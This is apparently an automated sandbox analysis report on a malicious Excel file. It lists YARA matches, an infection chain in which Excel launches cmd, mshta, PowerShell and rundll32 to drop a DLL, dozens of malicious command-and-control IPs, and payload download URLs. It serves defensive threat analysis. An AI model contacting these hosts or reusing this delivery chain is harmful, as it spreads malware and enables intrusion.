Source: Yara match File source: 0000000F.00000002.673171132.0000000002D81000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672613597.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672004438.0000000000180000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493846362.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538682957.0000000002E91000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538459946.0000000000A21000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493656518.0000000000221000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493927485.00000000022B0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673263211.0000000002E41000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673700095.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673435114.0000000002F90000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538786600.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538736284.0000000002F91000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538591662.0000000002821000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672103586.0000000000300000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538065858.00000000001E0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672388917.0000000000870000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.447180476.0000000000791000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673628550.0000000003691000.00000020.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.496825866.0000000010001000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494040925.0000000002410000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538366137.0000000000900000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\Public\Documents\ssd.dll, type: DROPPED
Searches for user specific document files
Source: C:\Windows\SysWOW64\rundll32.exe Directory queried: C:\Users\Public\Documents Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 562396 Sample: imedpub.com_10.xls Startdate: 28/01/2022 Architecture: WINDOWS Score: 100 49 129.232.188.93 xneeloZA South Africa 2->49 51 162.214.50.39 UNIFIEDLAYER-AS-1US United States 2->51 53 42 other IPs or domains 2->53 61 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->61 63 Multi AV Scanner detection for domain / URL 2->63 65 Found malware configuration 2->65 67 17 other signatures 2->67 15 EXCEL.EXE 53 12 2->15         started        signatures3 process4 file5 47 C:\Users\user\Desktop\imedpub.com_10.xls, Composite 15->47 dropped 18 cmd.exe 15->18         started        process6 process7 20 mshta.exe 11 18->20         started        dnsIp8 55 91.240.118.168, 49165, 49166, 80 GLOBALLAYERNL unknown 20->55 23 powershell.exe 16 7 20->23         started        process9 dnsIp10 57 www.yeald.finance 94.130.116.76, 443, 49167 HETZNER-ASDE Germany 23->57 45 C:\Users\Public\Documents\ssd.dll, PE32 23->45 dropped 71 Powershell drops PE file 23->71 28 cmd.exe 23->28         started        file11 signatures12 process13 process14 30 rundll32.exe 28->30         started        process15 32 rundll32.exe 2 30->32         started        file16 43 C:\Windows\...\jxnctwsmnhcex.tox (copy), PE32 32->43 dropped 59 Hides that the sample has been downloaded from the Internet (zone.identifier) 32->59 36 rundll32.exe 32->36         started        signatures17 process18 process19 38 rundll32.exe 1 36->38         started        signatures20 69 Hides that the sample has been downloaded from the Internet (zone.identifier) 38->69 41 rundll32.exe 38->41         started        process21
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
94.130.116.76
 www.yeald.finance Germany
24940 HETZNER-ASDE true
195.154.133.20
 unknown France
12876 OnlineSASFR true
185.157.82.211
 unknown Poland
42927 S-NET-ASPL true
212.237.17.99
 unknown Italy
31034 ARUBA-ASNIT true
79.172.212.216
 unknown Hungary
61998 SZERVERPLEXHU true
110.232.117.186
 unknown Australia
56038 RACKCORP-APRackCorpAU true
173.214.173.220
 unknown United States
19318 IS-AS-1US true
212.24.98.99
 unknown Lithuania
62282 RACKRAYUABRakrejusLT true
138.185.72.26
 unknown Brazil
264343 EmpasoftLtdaMeBR true
178.63.25.185
 unknown Germany
24940 HETZNER-ASDE true
160.16.102.168
 unknown Japan 9370 SAKURA-BSAKURAInternetIncJP true
81.0.236.90
 unknown Czech Republic
15685 CASABLANCA-ASInternetCollocationProviderCZ true
103.75.201.2
 unknown Thailand
133496 CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH true
216.158.226.206
 unknown United States
19318 IS-AS-1US true
45.118.115.99
 unknown Indonesia
131717 IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID true
51.15.4.22
 unknown France
12876 OnlineSASFR true
159.89.230.105
 unknown United States
14061 DIGITALOCEAN-ASNUS true
162.214.50.39
 unknown United States
46606 UNIFIEDLAYER-AS-1US true
91.240.118.168
 unknown unknown
49453 GLOBALLAYERNL true
200.17.134.35
 unknown Brazil
1916 AssociacaoRedeNacionaldeEnsinoePesquisaBR true
217.182.143.207
 unknown France
16276 OVHFR true
107.182.225.142
 unknown United States
32780 HOSTINGSERVICES-INCUS true
51.38.71.0
 unknown France
16276 OVHFR true
45.118.135.203
 unknown Japan 63949 LINODE-APLinodeLLCUS true
50.116.54.215
 unknown United States
63949 LINODE-APLinodeLLCUS true
131.100.24.231
 unknown Brazil
61635 GOPLEXTELECOMUNICACOESEINTERNETLTDA-MEBR true
46.55.222.11
 unknown Bulgaria
34841 BALCHIKNETBG true
41.76.108.46
 unknown South Africa
327979 DIAMATRIXZA true
173.212.193.249
 unknown Germany
51167 CONTABODE true
45.176.232.124
 unknown Colombia
267869 CABLEYTELECOMUNICACIONESDECOLOMBIASASCABLETELCOC true
178.79.147.66
 unknown United Kingdom
63949 LINODE-APLinodeLLCUS true
212.237.5.209
 unknown Italy
31034 ARUBA-ASNIT true
162.243.175.63
 unknown United States
14061 DIGITALOCEAN-ASNUS true
176.104.106.96
 unknown Serbia
198371 NINETRS true
207.38.84.195
 unknown United States
30083 AS-30083-GO-DADDY-COM-LLCUS true
164.68.99.3
 unknown Germany
51167 CONTABODE true
192.254.71.210
 unknown United States
64235 BIGBRAINUS true
212.237.56.116
 unknown Italy
31034 ARUBA-ASNIT true
104.168.155.129
 unknown United States
54290 HOSTWINDSUS true
45.142.114.231
 unknown Germany
44066 DE-FIRSTCOLOwwwfirst-colonetDE true
203.114.109.124
 unknown Thailand
131293 TOT-LLI-AS-APTOTPublicCompanyLimitedTH true
209.59.138.75
 unknown United States
32244 LIQUIDWEBUS true
159.8.59.82
 unknown United States
36351 SOFTLAYERUS true
129.232.188.93
 unknown South Africa
37153 xneeloZA true
58.227.42.236
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR true
158.69.222.101
 unknown Canada
16276 OVHFR true
104.251.214.46
 unknown United States
54540 INCERO-HVVCUS true

Contacted Domains

Name IP Active
www.yeald.finance 94.130.116.76 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://www.yeald.finance/wp-admin/1WgPRm/ true
  • Avira URL Cloud: malware
 unknown
http://91.240.118.168/zzx/ccv/fe.html true
  • Avira URL Cloud: malware
 unknown
http://91.240.118.168/zzx/ccv/fe.png true
  • Avira URL Cloud: malware
 unknown